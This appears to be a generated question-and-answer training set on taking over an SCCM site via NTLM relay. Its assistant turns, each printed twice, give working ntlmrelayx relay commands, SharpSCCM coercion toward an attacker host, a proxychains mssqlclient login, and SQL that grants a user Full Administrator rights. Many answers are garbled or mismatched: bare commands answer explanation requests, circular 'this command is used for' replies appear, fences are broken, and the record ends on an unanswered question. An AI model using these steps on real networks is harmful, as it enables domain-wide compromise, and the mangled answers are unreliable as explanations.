[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about targetting MS-SQL

[Assistant] ntlmrelayx.py -t "mssql://siteDatabase.domain.local" -smb2support -socks

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: ntlmrelayx.py -t "mssql://siteDatabase.domain.local" -smb2support -socks


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out targetting MS-SQL during a pentest?

[Assistant] ntlmrelayx.py -t "mssql://siteDatabase.domain.local" -smb2support -socks

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out targetting MS-SQL during a pentest?

Response: ntlmrelayx.py -t "mssql://siteDatabase.domain.local" -smb2support -socks


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of targeting SMB

[Assistant]
ntlmrelayx.py -t "siteDatabase.domain.local" -smb2support -socks
```

=== Windows

From Windows systems, Inveigh-Relay (Powershell) can be used as an alternative to Impacket's ntlmrelayx.py, however it does not feature the same SOCKS functionality, needed in the steps detailed below, meaning the exploitation from Windows system will need to be adapted.

:::

For more insight on NTLM relay attacks and tools options, see the corresponding page on The Hacker Recipes: NTLM Relay.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
ntlmrelayx.py -t "siteDatabase.domain.local" -smb2support -socks
```

=== Windows

From Windows systems, Inveigh-Relay (Powershell) can be used as an alternative to Impacket's ntlmrelayx.py, however it does not feature the same SOCKS functionality, needed in the steps detailed below, meaning the exploitation from Windows system will need to be adapted.

:::

For more insight on NTLM relay attacks and tools options, see the corresponding page on The Hacker Recipes: NTLM Relay.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform targeting SMB?

[Assistant]
ntlmrelayx.py -t "siteDatabase.domain.local" -smb2support -socks
```

=== Windows

From Windows systems, Inveigh-Relay (Powershell) can be used as an alternative to Impacket's ntlmrelayx.py, however it does not feature the same SOCKS functionality, needed in the steps detailed below, meaning the exploitation from Windows system will need to be adapted.

:::

For more insight on NTLM relay attacks and tools options, see the corresponding page on The Hacker Recipes: NTLM Relay.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
ntlmrelayx.py -t "siteDatabase.domain.local" -smb2support -socks
```

=== Windows

From Windows systems, Inveigh-Relay (Powershell) can be used as an alternative to Impacket's ntlmrelayx.py, however it does not feature the same SOCKS functionality, needed in the steps detailed below, meaning the exploitation from Windows system will need to be adapted.

:::

For more insight on NTLM relay attacks and tools options, see the corresponding page on The Hacker Recipes: NTLM Relay.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe SCCM site takeover - Step 3: coerce authentication in the context of penetration testing

[Assistant]
The primary site server's authentication can be coerced via automatic client push installation targeting the relay server with SharpSCCM (C#). For more information, see the corresponding article "Coercing NTLM authentication from SCCM" by Chris Thompson. Alternatively, the server's authentication could be coerced with other, more common, coercion techniques (PrinterBug, PetitPotam, ShadowCoerce, DFSCoerce, etc.).

::: tabs

=== UNIX-like

From UNIX-like systems, authentication can be coerced through PrinterBug, PetitPotam, ShadowCoerce, DFSCoerce, etc. (not based on triggering the client push installation).

There isn't any UNIX-like alternative to the SharpSCCM.exe invoke client-push feature (yet).

=== Windows

``powershell
SharpSCCM.exe invoke client-push -mp "SCCM-Server" -sc "$SITE_CODE" -t "attacker.domain.local"
``

:::

The rest of this page is focusing on relaying the authentication on the MS-SQL service.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe SCCM site takeover - Step 3: coerce authentication in the context of penetration testing

Response:
The primary site server's authentication can be coerced via automatic client push installation targeting the relay server with SharpSCCM (C#). For more information, see the corresponding article "Coercing NTLM authentication from SCCM" by Chris Thompson. Alternatively, the server's authentication could be coerced with other, more common, coercion techniques (PrinterBug, PetitPotam, ShadowCoerce, DFSCoerce, etc.).

::: tabs

=== UNIX-like

From UNIX-like systems, authentication can be coerced through PrinterBug, PetitPotam, ShadowCoerce, DFSCoerce, etc. (not based on triggering the client push installation).

There isn't any UNIX-like alternative to the SharpSCCM.exe invoke client-push feature (yet).

=== Windows

``powershell
SharpSCCM.exe invoke client-push -mp "SCCM-Server" -sc "$SITE_CODE" -t "attacker.domain.local"
``

:::

The rest of this page is focusing on relaying the authentication on the MS-SQL service.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for SCCM site takeover - Step 3: coerce authentication?

[Assistant]
The primary site server's authentication can be coerced via automatic client push installation targeting the relay server with SharpSCCM (C#). For more information, see the corresponding article "Coercing NTLM authentication from SCCM" by Chris Thompson. Alternatively, the server's authentication could be coerced with other, more common, coercion techniques (PrinterBug, PetitPotam, ShadowCoerce, DFSCoerce, etc.).

::: tabs

=== UNIX-like

From UNIX-like systems, authentication can be coerced through PrinterBug, PetitPotam, ShadowCoerce, DFSCoerce, etc. (not based on triggering the client push installation).

There isn't any UNIX-like alternative to the SharpSCCM.exe invoke client-push feature (yet).

=== Windows

``powershell
SharpSCCM.exe invoke client-push -mp "SCCM-Server" -sc "$SITE_CODE" -t "attacker.domain.local"
``

:::

The rest of this page is focusing on relaying the authentication on the MS-SQL service.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for SCCM site takeover - Step 3: coerce authentication?

Response:
The primary site server's authentication can be coerced via automatic client push installation targeting the relay server with SharpSCCM (C#). For more information, see the corresponding article "Coercing NTLM authentication from SCCM" by Chris Thompson. Alternatively, the server's authentication could be coerced with other, more common, coercion techniques (PrinterBug, PetitPotam, ShadowCoerce, DFSCoerce, etc.).

::: tabs

=== UNIX-like

From UNIX-like systems, authentication can be coerced through PrinterBug, PetitPotam, ShadowCoerce, DFSCoerce, etc. (not based on triggering the client push installation).

There isn't any UNIX-like alternative to the SharpSCCM.exe invoke client-push feature (yet).

=== Windows

``powershell
SharpSCCM.exe invoke client-push -mp "SCCM-Server" -sc "$SITE_CODE" -t "attacker.domain.local"
``

:::

The rest of this page is focusing on relaying the authentication on the MS-SQL service.


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the SharpSCCM.exe command for sccm site takeover - step 3: coerce authentication

[Assistant] SharpSCCM.exe invoke client-push -mp "SCCM-Server" -sc "$SITE_CODE" -t "attacker.domain.local"

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the SharpSCCM.exe command for sccm site takeover - step 3: coerce authentication

Response: SharpSCCM.exe invoke client-push -mp "SCCM-Server" -sc "$SITE_CODE" -t "attacker.domain.local"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for SCCM site takeover - Step 3: coerce authentication

[Assistant] SharpSCCM.exe invoke client-push -mp "SCCM-Server" -sc "$SITE_CODE" -t "attacker.domain.local"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for SCCM site takeover - Step 3: coerce authentication

Response: SharpSCCM.exe invoke client-push -mp "SCCM-Server" -sc "$SITE_CODE" -t "attacker.domain.local"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `SharpSCCM.exe invoke client-push -mp "SCCM-Server" -sc "$SITE_CODE" -t "attacker.domain.local"`?

[Assistant] This command is used for sccm site takeover - step 3: coerce authentication. Step 3: coerce authentication

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `SharpSCCM.exe invoke client-push -mp "SCCM-Server" -sc "$SITE_CODE" -t "attacker.domain.local"`?

Response: This command is used for sccm site takeover - step 3: coerce authentication. Step 3: coerce authentication


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe SCCM site takeover - Step 4: Obtain an SQL console in the context of penetration testing

[Assistant]
If the NTLM relay attack is a success and was targeting the MS-SQL service with SOCKS support, an SQL console could be obtained on the SCCM database through the opened socks proxy. From UNIX-like systems, Impacket's mssqlclient (Python) can be used for that purpose.

``bash
proxychains mssqlclient.py "DOMAIN/SCCM-Server$"@"siteDatabase.domain.local" -windows-auth
`

Once the console is obtained, the attack can proceed to granting the user full privileges by running the following commands in the SQL console.

`
--Switch to site database
use CM_<site_code>

--Add the SID, the name of the current user, and the site code to the RBAC_Admins table
INSERT INTO RBAC_Admins (AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite) VALUES (<SID_in_hex_format>,'DOMAIN\user',0,0,'','','','','<site_code>');

--Retrieve the AdminID of the added user
SELECT AdminID,LogonName FROM RBAC_Admins;

--Add records to the RBAC_ExtendedPermissions table granting the AdminID the Full Administrator (SMS0001R) RoleID for the "All Objects" scope (SMS00ALL),
--the "All Systems" scope (SMS00001),
--and the "All Users and User Groups" scope (SMS00004)
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00ALL','29');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00001','1');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00004','1');
`

It is then possible to verify the new privileges on SCCM.

``

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe SCCM site takeover - Step 4: Obtain an SQL console in the context of penetration testing

Response:
If the NTLM relay attack is a success and was targeting the MS-SQL service with SOCKS support, an SQL console could be obtained on the SCCM database through the opened socks proxy. From UNIX-like systems, Impacket's mssqlclient (Python) can be used for that purpose.

``bash
proxychains mssqlclient.py "DOMAIN/SCCM-Server$"@"siteDatabase.domain.local" -windows-auth
`

Once the console is obtained, the attack can proceed to granting the user full privileges by running the following commands in the SQL console.

`
--Switch to site database
use CM_<site_code>

--Add the SID, the name of the current user, and the site code to the RBAC_Admins table
INSERT INTO RBAC_Admins (AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite) VALUES (<SID_in_hex_format>,'DOMAIN\user',0,0,'','','','','<site_code>');

--Retrieve the AdminID of the added user
SELECT AdminID,LogonName FROM RBAC_Admins;

--Add records to the RBAC_ExtendedPermissions table granting the AdminID the Full Administrator (SMS0001R) RoleID for the "All Objects" scope (SMS00ALL),
--the "All Systems" scope (SMS00001),
--and the "All Users and User Groups" scope (SMS00004)
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00ALL','29');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00001','1');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00004','1');
`

It is then possible to verify the new privileges on SCCM.

``


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out SCCM site takeover - Step 4: Obtain an SQL console during a pentest?

[Assistant]
If the NTLM relay attack is a success and was targeting the MS-SQL service with SOCKS support, an SQL console could be obtained on the SCCM database through the opened socks proxy. From UNIX-like systems, Impacket's mssqlclient (Python) can be used for that purpose.

``bash
proxychains mssqlclient.py "DOMAIN/SCCM-Server$"@"siteDatabase.domain.local" -windows-auth
`

Once the console is obtained, the attack can proceed to granting the user full privileges by running the following commands in the SQL console.

`
--Switch to site database
use CM_<site_code>

--Add the SID, the name of the current user, and the site code to the RBAC_Admins table
INSERT INTO RBAC_Admins (AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite) VALUES (<SID_in_hex_format>,'DOMAIN\user',0,0,'','','','','<site_code>');

--Retrieve the AdminID of the added user
SELECT AdminID,LogonName FROM RBAC_Admins;

--Add records to the RBAC_ExtendedPermissions table granting the AdminID the Full Administrator (SMS0001R) RoleID for the "All Objects" scope (SMS00ALL),
--the "All Systems" scope (SMS00001),
--and the "All Users and User Groups" scope (SMS00004)
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00ALL','29');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00001','1');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00004','1');
`

It is then possible to verify the new privileges on SCCM.

``

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out SCCM site takeover - Step 4: Obtain an SQL console during a pentest?

Response:
If the NTLM relay attack is a success and was targeting the MS-SQL service with SOCKS support, an SQL console could be obtained on the SCCM database through the opened socks proxy. From UNIX-like systems, Impacket's mssqlclient (Python) can be used for that purpose.

``bash
proxychains mssqlclient.py "DOMAIN/SCCM-Server$"@"siteDatabase.domain.local" -windows-auth
`

Once the console is obtained, the attack can proceed to granting the user full privileges by running the following commands in the SQL console.

`
--Switch to site database
use CM_<site_code>

--Add the SID, the name of the current user, and the site code to the RBAC_Admins table
INSERT INTO RBAC_Admins (AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite) VALUES (<SID_in_hex_format>,'DOMAIN\user',0,0,'','','','','<site_code>');

--Retrieve the AdminID of the added user
SELECT AdminID,LogonName FROM RBAC_Admins;

--Add records to the RBAC_ExtendedPermissions table granting the AdminID the Full Administrator (SMS0001R) RoleID for the "All Objects" scope (SMS00ALL),
--the "All Systems" scope (SMS00001),
--and the "All Users and User Groups" scope (SMS00004)
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00ALL','29');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00001','1');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00004','1');
`

It is then possible to verify the new privileges on SCCM.

``


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the proxychains command to sccm site takeover - step 4: obtain an sql console

[Assistant] proxychains mssqlclient.py "DOMAIN/SCCM-Server$"@"siteDatabase.domain.local" -windows-auth

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the proxychains command to sccm site takeover - step 4: obtain an sql console

Response: proxychains mssqlclient.py "DOMAIN/SCCM-Server$"@"siteDatabase.domain.local" -windows-auth


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for SCCM site takeover - Step 4: Obtain an SQL console

[Assistant] proxychains mssqlclient.py "DOMAIN/SCCM-Server$"@"siteDatabase.domain.local" -windows-auth

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for SCCM site takeover - Step 4: Obtain an SQL console

Response: proxychains mssqlclient.py "DOMAIN/SCCM-Server$"@"siteDatabase.domain.local" -windows-auth


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `proxychains mssqlclient.py "DOMAIN/SCCM-Server$"@"siteDatabase.domain.local" -windows-auth`?

[Assistant] This command is used for sccm site takeover - step 4: obtain an sql console. Step 4: Obtain an SQL console

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `proxychains mssqlclient.py "DOMAIN/SCCM-Server$"@"siteDatabase.domain.local" -windows-auth`?

Response: This command is used for sccm site takeover - step 4: obtain an sql console. Step 4: Obtain an SQL console


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for SCCM site takeover - Step 4: Obtain an SQL console?

[Assistant]
--Switch to site database
use CM_<site_code>

--Add the SID, the name of the current user, and the site code to the RBAC_Admins table
INSERT INTO RBAC_Admins (AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite) VALUES (<SID_in_hex_format>,'DOMAIN\user',0,0,'','','','','<site_code>');

--Retrieve the AdminID of the added user
SELECT AdminID,LogonName FROM RBAC_Admins;

--Add records to the RBAC_ExtendedPermissions table granting the AdminID the Full Administrator (SMS0001R) RoleID for the "All Objects" scope (SMS00ALL),
--the "All Systems" scope (SMS00001),
--and the "All Users and User Groups" scope (SMS00004)
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00ALL','29');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00001','1');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00004','1');

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for SCCM site takeover - Step 4: Obtain an SQL console?

Response:
--Switch to site database
use CM_<site_code>

--Add the SID, the name of the current user, and the site code to the RBAC_Admins table
INSERT INTO RBAC_Admins (AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite) VALUES (<SID_in_hex_format>,'DOMAIN\user',0,0,'','','','','<site_code>');

--Retrieve the AdminID of the added user
SELECT AdminID,LogonName FROM RBAC_Admins;

--Add records to the RBAC_ExtendedPermissions table granting the AdminID the Full Administrator (SMS0001R) RoleID for the "All Objects" scope (SMS00ALL),
--the "All Systems" scope (SMS00001),
--and the "All Users and User Groups" scope (SMS00004)
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00ALL','29');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00001','1');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00004','1');


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `--Switch to site database`?

[Assistant] This command is used for sccm site takeover - step 4: obtain an sql console. Step 4: Obtain an SQL console

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `--Switch to site database`?

Response: This command is used for sccm site takeover - step 4: obtain an sql console. Step 4: Obtain an SQL console


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about this should be run on the windows SCCM client as the user that was just given full administrative role to

[Assistant]
.\SharpSCCM.exe get site-push-settings -mp "SCCM-Server" -sc "<site_code>"
```

Post exploitation via SCCM can now be performed on the network.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about this should be run on the windows SCCM client as the user that was just given full administrative role to

Response:
.\SharpSCCM.exe get site-push-settings -mp "SCCM-Server" -sc "<site_code>"
```

Post exploitation via SCCM can now be performed on the network.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for this should be run on the windows SCCM client as the user that was just given full administrative role to

[Assistant]
.\SharpSCCM.exe get site-push-settings -mp "SCCM-Server" -sc "<site_code>"
```

Post exploitation via SCCM can now be performed on the network.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for this should be run on the windows SCCM client as the user that was just given full administrative role to

Response:
.\SharpSCCM.exe get site-push-settings -mp "SCCM-Server" -sc "<site_code>"
```

Post exploitation via SCCM can now be performed on the network.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about SCCM site takeover - Relay to the HTTP API AdminService?

[Assistant]
> [!CAUTION]
> Some requirements are needed to perform the attack:
>
> * The HTTP API for the AdminService service is reachable on the SMS Provider server
> * knowing the NetBIOS name, FQDN, or IP address of a site management point is required
> * knowing the NetBIOS name, FQDN, or IP address of the site SMS provider server is required

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about SCCM site takeover - Relay to the HTTP API AdminService?

Response:
> [!CAUTION]
> Some requirements are needed to perform the attack:
>
> * The HTTP API for the AdminService service is reachable on the SMS Provider server
> * knowing the NetBIOS name, FQDN, or IP address of a site management point is required
> * knowing the NetBIOS name, FQDN, or IP address of the site SMS provider server is required


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for SCCM site takeover - Relay to the HTTP API AdminService

[Assistant]
> [!CAUTION]
> Some requirements are needed to perform the attack:
>
> * The HTTP API for the AdminService service is reachable on the SMS Provider server
> * knowing the NetBIOS name, FQDN, or IP address of a site management point is required
> * knowing the NetBIOS name, FQDN, or IP address of the site SMS provider server is required

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for SCCM site takeover - Relay to the HTTP API AdminService

Response:
> [!CAUTION]
> Some requirements are needed to perform the attack:
>
> * The HTTP API for the AdminService service is reachable on the SMS Provider server
> * knowing the NetBIOS name, FQDN, or IP address of a site management point is required
> * knowing the NetBIOS name, FQDN, or IP address of the site SMS provider server is required


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe SCCM site takeover - Step 1: setup an NTLM relay server in the context of penetration testing

[Assistant]
The target of the NTLM relay attack must be set to the SMS Provider server, on the HTTP/S service (port 80/tcp or 443/tcp).

::: tabs

=== UNIX-like

From UNIX-like systems, this PR on Impacket's ntlmrelayx.py (Python) script can be used for that purpose.

``bash
ntlmrelayx.py -t https://smsprovider.domain.local/AdminService/wmi/SMS_Admin -smb2support --adminservice --logonname "DOMAIN\USER" --displayname "DOMAIN\USER" --objectsid $OBJECTSID
``

=== Windows

From Windows systems, Inveigh-Relay (Powershell) can be used as an alternative to Impacket's ntlmrelayx.py, however it does not feature the same functionalities regarding this specific target, need in the steps detailed below, meaning the exploitation from Windows system will need to be adapted.

:::

For more insight on NTLM relay attacks and tools options, see the corresponding page on The Hacker Recipes: NTLM Relay.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe SCCM site takeover - Step 1: setup an NTLM relay server in the context of penetration testing

Response:
The target of the NTLM relay attack must be set to the SMS Provider server, on the HTTP/S service (port 80/tcp or 443/tcp).

::: tabs

=== UNIX-like

From UNIX-like systems, this PR on Impacket's ntlmrelayx.py (Python) script can be used for that purpose.

``bash
ntlmrelayx.py -t https://smsprovider.domain.local/AdminService/wmi/SMS_Admin -smb2support --adminservice --logonname "DOMAIN\USER" --displayname "DOMAIN\USER" --objectsid $OBJECTSID
``

=== Windows

From Windows systems, Inveigh-Relay (Powershell) can be used as an alternative to Impacket's ntlmrelayx.py, however it does not feature the same functionalities regarding this specific target, need in the steps detailed below, meaning the exploitation from Windows system will need to be adapted.

:::

For more insight on NTLM relay attacks and tools options, see the corresponding page on The Hacker Recipes: NTLM Relay.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do SCCM site takeover - Step 1: setup an NTLM relay server

[Assistant]
The target of the NTLM relay attack must be set to the SMS Provider server, on the HTTP/S service (port 80/tcp or 443/tcp).

::: tabs

=== UNIX-like

From UNIX-like systems, this PR on Impacket's ntlmrelayx.py (Python) script can be used for that purpose.

``bash
ntlmrelayx.py -t https://smsprovider.domain.local/AdminService/wmi/SMS_Admin -smb2support --adminservice --logonname "DOMAIN\USER" --displayname "DOMAIN\USER" --objectsid $OBJECTSID
``

=== Windows

From Windows systems, Inveigh-Relay (Powershell) can be used as an alternative to Impacket's ntlmrelayx.py, however it does not feature the same functionalities regarding this specific target, need in the steps detailed below, meaning the exploitation from Windows system will need to be adapted.

:::

For more insight on NTLM relay attacks and tools options, see the corresponding page on The Hacker Recipes: NTLM Relay.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do SCCM site takeover - Step 1: setup an NTLM relay server

Response:
The target of the NTLM relay attack must be set to the SMS Provider server, on the HTTP/S service (port 80/tcp or 443/tcp).

::: tabs

=== UNIX-like

From UNIX-like systems, this PR on Impacket's ntlmrelayx.py (Python) script can be used for that purpose.

``bash
ntlmrelayx.py -t https://smsprovider.domain.local/AdminService/wmi/SMS_Admin -smb2support --adminservice --logonname "DOMAIN\USER" --displayname "DOMAIN\USER" --objectsid $OBJECTSID
``

=== Windows

From Windows systems, Inveigh-Relay (Powershell) can be used as an alternative to Impacket's ntlmrelayx.py, however it does not feature the same functionalities regarding this specific target, need in the steps detailed below, meaning the exploitation from Windows system will need to be adapted.

:::

For more insight on NTLM relay attacks and tools options, see the corresponding page on The Hacker Recipes: NTLM Relay.


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the ntlmrelayx.py command to sccm site takeover - step 1: setup an ntlm relay server

[Assistant] ntlmrelayx.py -t https://smsprovider.domain.local/AdminService/wmi/SMS_Admin -smb2support --adminservice --logonname "DOMAIN\USER" --displayname "DOMAIN\USER" --objectsid $OBJECTSID

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the ntlmrelayx.py command to sccm site takeover - step 1: setup an ntlm relay server

Response: ntlmrelayx.py -t https://smsprovider.domain.local/AdminService/wmi/SMS_Admin -smb2support --adminservice --logonname "DOMAIN\USER" --displayname "DOMAIN\USER" --objectsid $OBJECTSID


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute SCCM site takeover - Step 1: setup an NTLM relay server?

